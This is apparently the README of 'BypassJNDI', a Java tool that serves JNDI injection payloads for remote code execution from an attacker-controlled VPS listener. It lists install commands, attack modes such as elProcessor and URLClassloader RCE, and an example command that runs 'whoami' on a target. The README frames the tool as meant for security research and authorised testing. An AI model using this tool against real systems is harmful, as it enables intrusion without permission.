BypassJNDI

注意事项

1. 使用过程中的 bug 和优化建议欢迎提 issue
2. 配置好 java 环境变量, jdk8+
3. 程序仅作为安全研究和授权测试使用, 开发人员对因误用和滥用该程序造成的一切损害概不负责

下载安装

git clone --depth=1 --branch=master https://www.github.com/coolboy0816/BypassJNDI.git
cd BypassJNDI/
java -jar BypassJNDI.jar

使用效果

使用方法

0x00: 指定vps url和开放端口，建议云上主机开启全部端口

0x01: 指定对应model，根据需求选择

0x02: 指定对应目标系统

0x03: 指定对应执行命令（URLClassloader RCE模式下输入vps与classpath）

使用截图

java -jar BypassJndi.jar 192.168.0.58 1099 elProcessor windows whoami